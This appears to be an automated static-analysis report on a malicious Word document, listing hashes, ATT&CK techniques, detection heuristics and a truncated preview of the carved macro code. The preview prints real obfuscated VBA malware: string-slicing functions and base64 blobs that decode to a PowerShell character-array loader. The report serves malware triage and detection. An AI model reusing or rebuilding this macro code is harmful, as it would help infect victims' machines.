Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbe318a56b158410…

MALICIOUS

Office (OLE)

80.0 KB Created: 2017-10-19 05:44:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: b01d9d0051368caad5d33714b8999aec SHA-1: e76845c43b021ecd4b1df8eac87302a13feed154 SHA-256: fbe318a56b15841022ff3d51bd712c875de2f659c3768dfd8c37b86c59a01ae0
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The macro is designed to execute a secondary payload, likely from the embedded 'macros.bas' file. The presence of a Shell() call within the VBA code further supports the execution of external code. The exact nature of the payload and its ultimate destination could not be determined due to obfuscation and truncation.

Heuristics 7

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 81,920 bytes but its declared streams total only 36,246 bytes — 45,674 bytes (56%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15590 bytes
SHA-256: b13a483280e1a3d46fa7d0cc533a5b45c4eb68ee197cb0d1221790607bd23ba6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 37 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function ZjHtRjIzp()
SoOqrK = "KS8PF6YvsJjacQqbRCFKAMnhiGXVGoUnHCvilTNKmMJvdiSDuEsUdaisqqjsDD8IIR"
wOZYphKiYZ = Mid(SoOqrK, 7, 56)
WWRjVQj = wOZYphKiYZ
crlSzGQB = "M201PdNhlWVKuZVEqBdNztXqAhoFHWUJPVvDIFJfTqmCotErZajXuoPMSVYBoIaPCLuYdRwlswtHGVCHdzfjnwObFjkmhHqKPXAcwfNHiwfwuIFwTQNV9DGL3EGS290YOP1H4F"
fAtVDwvKzZD = Mid(crlSzGQB, 6, 109)
votMjfp = fAtVDwvKzZD
jDsFRa = "C3Y20QQTHV57BNBCU9CaufwLhEhsPWPZdCldGwwBECiBGuoizNaaNiBNMPUTjLjMEHaKKzuVvqWrzwFmPDuCwpMzAYQrifS9Y264"
bzizFwuD = Mid(jDsFRa, 20, 76)
FTiBJNr = bzizFwuD
TbdiSp = "H8HQHF2OPPToEosSZUMqzovYoDrEAoUaCvAKhYCnukVGjXFHkQtiiOvjiBqpwmiDjcmIoilBRYvNSopQwkUkvlsoATcfhMoIBRWGlwSBirRJSiNtMarORwIzkwIUGFTEjnLARifBRSFDUiVSFiTHVaqCJZVmnwuZXMZiWMbdvpzztEdCcqOYmMjJwIrsNsOTYffHIqvsGpMfdrIEvTKwjWmLdQiNViQDbdaNYVtmvVRwzEjFznzthRjBsUisIhXYZJDzQufaZYBNFpLZjT2"
TGlXlz = Mid(TbdiSp, 12, 262)
mETLmI = TGlXlz
GLZff = "GXDQXXVSowtBiYOBqcjimFHCaVGtUwqcVVvDFRGNXMPiSdsCNazjfHWZSnPiOGIrHQjIcLwYWVHZqdkzdDjuwJzNwWlRCXzREXWBwjaCdZKKAwioDRFLZNszTSKFZiVwWpVTGiAtcdQZzmMBowOlSnrqiZiiZVczEMnKbPiUQMivzTwjGIRdQkfiwfohAWTHBRVmzBaYOtUGFvtLaBXRDwiTjEMwaATtsFP"
RnzYOMQk = Mid(GLZff, 9, 217)
PGIfz = RnzYOMQk
YtvCKhPjpX = "ZIEL962CfMCREvnpNUIoLdsdEAJXCJwLDVOLoSIiGpjulGjWJBkmqUNWrhJjIPhVNrOihbAvLahVtzszUnOAYMUiHrUHIYZqIOjuszphBpaQmsdtoMPVBjwBWjaqHtnmBrNfRwFWwjzjmEvPNaSvJEobRfXMWwa7GJQ9MYWXIU4FJQK8TGHR19IB0"
rKChUtbVJw = Mid(YtvCKhPjpX, 9, 151)
GBLfREirFO = rKChUtbVJw
VKVwFrPjH = "OCC99QJYrdtcFwTTuhKEkHirjVZJzjXCoRSjzdoTQjzhWuufiMSaTuuoLQVbtHbHGqnninVRsqoBIBVoaufkQwiuXdUhHMZIIrbjHGBrrBhdGtjKvhBzcqqJHsQASoJfRftQaohTtosOOFoiwKmaLajRARYPpAYDsBLazQjGzhFozbuBDmEHCjUqwbPIQSdtPpWMuNijafaiUsTZXWLDvQBIhVcYBbphDMYHFiHqIYjWIqVGHqltHazwoNiZlFizptaITMUoPUuXjiArzVRJM8POGXRZ8KP91VEBGAYQSE1XJY654XZ"
DwUNUGrwqj = Mid(VKVwFrPjH, 8, 268)
ciWqZbPW = DwUNUGrwqj
wqvCKq = "NDGC0XRCSlhNFHiDpwQQzATCWVCMXzBwrczwXrpUduKwPKSQzaaBzvXOfiPsjklSkjVdHjjzGvmCpWmMDmNzZzzwElTpcwlsJrLjooIPudvDIUZIvDpwWotljZYWPqVJKutzLGXPdzCvDvokMLuYHoVVwZwOPmAEHltNbbzofaSZlzhokoJEwwCVYXzlJIzrzwnSCbJkOFshVwjAsIibcvILjXoDcLiWabbnJPmJfZqqEVAcJOL9FXXYY09WELVUS3KGHDBRI87L"
pZUbUXv = Mid(wqvCKq, 9, 232)
OjiIIBWCM = pZUbUXv
niVBGBPk = "O4PXZKqwadOaTrDiEDthjPPNmvWwimjaOJNnZQoUItSzttscljQqiCwlcliVotSozoLJdPIoOZYmwSUtCtKwVpvMKbLohSfPbizEhjwVXccFdLoJRpTujTSHtzwBEUGwtJLSSPLSuoasNqjwnBXszkjHLsLilwQDVfMTAWqBdAAutZuCPzODzOzIdEGaDdhzYXXhiQwQLVOwklOlzJFK7A9P00U3RPFW77X1THPVLT"
HCiPrBbPi = Mid(niVBGBPk, 6, 205)
jDuptBPwfK = HCiPrBbPi
jtKpX = "XsTWwzTiTATEfWHJQQKhDjQhPPvbJlhDqPYdYazGSkjujrJprrIAjwblclHhDsViTPOPzdlqQEOSwWwXFFjSdjWtomBmSSCaPBaTdurNFRjciIpFnjcwIDEmtUaKbzXwBoDvviuLOWMLwtLjzwwjqERMwoaITjlGulauFtKIoQjmqspzJuMfAnIzWrwHEmrhkFQLSRbEmpuZUfVDwazZTGGHddXOvCECZCCkbijrTItKsidrVuIimSNizJhptNJjlszSclcUtHFLMvOuAjsAuaPHoYkSwrzGzJZAjLOkSnk27J9CNVORL6XSJ7BOBSKZKQS9TLUO6V6"
zGZaVWZIZK = Mid(jtKpX, 2, 298)
mIIMQKjJ = zGZaVWZIZK
ldfYLFNsR = "2PADPE9QoaTbonvLZR0RTN2XT2TLVG9CHCKKC91D"
qPpRv = Mid(ldfYLFNsR, 8, 9)
djJcmSss = qPpRv
UuqiBO = "HBR6IBCFIzzGiUTcHTJStzsXGaiVGwWdOQwMfEinwuhPaWPomihzSwvdbEiMMpzJcWsRVGwCpVVzPcwjKujXQZKPVVlbWRbHuYmDdwSfmfIzdvNwHwCSGbsDMdvAVUjXuOErqtFLbEklQNlZHnTXOIASfirACSJRzkCPrWIOsqrBrHnwrVshBIIlNlLHBFJIuTljKWilfFiXRzbUQR4"
PojVNRjZB = Mid(UuqiBO, 8, 200)
TlmVchWBEPq = PojVNRjZB
djJcmSss TlmVchWBEPq + WWRjVQj + mETLmI + votMjfp + ciWqZbPW + jDuptBPwfK + OjiIIBWCM + PGIfz + FTiBJNr + mIIMQKjJ + GBLfREirFO
End Function
Function AksatnGwi()
OGSPkttmXDM = "HBGB2BUFKJ2MPY750ML3LS6G3NBX27SXFTXNNwA3ACAALAAgADEAMAAxACwAMQAxADUAIAAsADEAMQA1ACAALAAgADkANwAsACAAMQAwADMALAAxADAAMQAsADUAOQAsACAAMQAyADUAIAAsACAIG"
JQzWtLQLNFq = Mid(OGSPkttmXDM, 37, 111)
LDlJWdzt = JQzWtLQLNFq
zizGfs = "Q6TTAMQAyADUAKQAgAHwAIAAlACAAewAoAFsAaQBuAHQAXQAgACQAXwAgAC0AQQBTAFsAYwBIAGEAUgBdACkAfQApAHwALgAgACgAIAAkAGUAbgBWADoAcABVAEIATABJAEMAWwAxADMAXQA
... (truncated)

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